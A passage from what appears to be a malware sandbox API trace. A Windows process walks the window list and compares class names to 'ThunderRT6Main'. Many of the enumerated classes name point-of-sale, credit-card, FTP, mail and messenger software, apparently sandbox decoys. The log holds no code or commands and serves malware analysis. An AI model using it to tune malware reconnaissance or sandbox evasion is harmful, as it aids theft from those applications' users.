(hWnd=0x102d4, nIndex=-6) returned 0x0 [0151.387] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0151.387] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.387] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0151.387] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0151.387] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0151.388] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.388] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0151.388] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0151.388] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0151.388] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.388] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0151.388] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0151.388] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0151.388] GetWindowThreadProcessId (in: hWnd=0x140264, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0151.388] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0151.389] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.389] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0151.389] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0151.389] IsWindowEnabled (hWnd=0x20360) returned 1 [0151.389] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0151.389] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0151.389] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0151.389] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0151.389] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0151.389] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0151.389] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.389] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0151.389] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0151.389] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0151.389] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0151.389] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0151.389] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0151.389] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0151.389] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0151.390] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.390] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0151.390] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0151.390] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0151.390] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0151.390] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0151.390] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0151.390] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.390] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0151.390] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0151.390] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0151.390] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0151.390] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0151.390] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0151.390] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.390] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0151.390] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0151.390] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0151.390] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0151.390] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0151.390] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0151.390] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.390] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0151.390] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0151.390] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0151.390] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0151.390] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0151.390] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0151.391] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0151.391] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0151.391] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0151.391] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0151.391] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0151.391] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0151.391] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0151.391] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0151.391] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0151.392] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0151.392] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.392] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.392] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0151.392] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0151.392] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0151.392] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0151.393] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0151.393] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0151.393] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0151.393] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0151.393] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0151.393] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0151.393] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0151.393] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0151.393] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0151.393] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0151.394] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0151.394] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0151.394] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0151.394] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0151.394] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0151.394] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0151.395] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0151.395] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0151.395] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0151.395] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0151.395] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0151.395] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0151.395] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0151.395] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0151.395] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0151.396] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0151.396] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0151.396] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0151.396] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0151.396] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.396] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.397] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0151.397] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0151.397] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0151.397] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0151.397] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0151.397] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0151.397] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0151.398] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.398] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.398] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0151.398] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0151.398] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0151.398] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0151.398] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.398] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.399] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0151.399] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0151.399] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0151.399] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0151.399] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.400] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0151.400] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0151.400] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0151.400] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0151.400] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.400] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.400] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0151.400] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0151.400] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0151.401] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0151.401] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.401] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.401] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0151.401] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0151.401] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0151.402] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0151.402] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.402] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.402] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0151.402] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0151.402] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0151.402] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0151.402] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.402] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.403] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0151.403] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0151.403] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0151.403] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0151.403] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.403] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.404] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0151.404] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0151.404] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0151.404] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0151.404] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.404] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.404] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0151.404] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0151.405] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0151.405] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0151.405] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.405] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.405] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0151.405] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0151.405] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0151.406] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0151.406] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.406] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.406] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0151.406] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0151.406] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0151.407] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0151.407] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.407] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.407] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0151.407] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0151.407] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0151.407] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0151.407] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.407] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.408] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0151.408] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0151.408] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0151.408] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0151.408] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.408] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.409] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0151.409] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0151.409] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0151.409] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0151.409] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.409] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.409] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0151.409] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0151.409] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0151.410] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0151.410] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.410] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.410] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0151.410] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0151.410] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0151.411] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0151.411] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.411] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.411] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0151.411] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0151.411] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0151.411] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0151.411] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.411] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.412] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0151.412] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0151.412] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0151.412] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0151.412] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.412] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.413] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0151.413] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0151.413] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0151.413] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0151.413] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.413] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.413] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0151.413] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0151.413] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0151.414] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0151.414] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.414] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.414] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0151.414] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0151.414] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0151.415] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0151.415] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.415] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.415] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0151.415] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0151.415] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0151.415] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0151.415] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.415] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.416] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0151.416] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0151.416] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0151.416] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0151.416] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.416] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.417] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0151.417] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0151.417] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0151.417] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0151.417] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.417] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.417] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0151.417] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0151.418] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0151.418] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0151.418] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.418] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.418] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0151.418] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0151.418] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0151.419] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0151.419] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.419] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.419] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0151.419] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0151.419] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0151.419] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0151.420] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.420] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.420] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0151.420] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0151.420] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0151.420] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0151.420] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.420] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.421] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0151.421] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0151.421] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0151.421] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0151.421] GetClassNameA (in: hWnd=0x101e6, 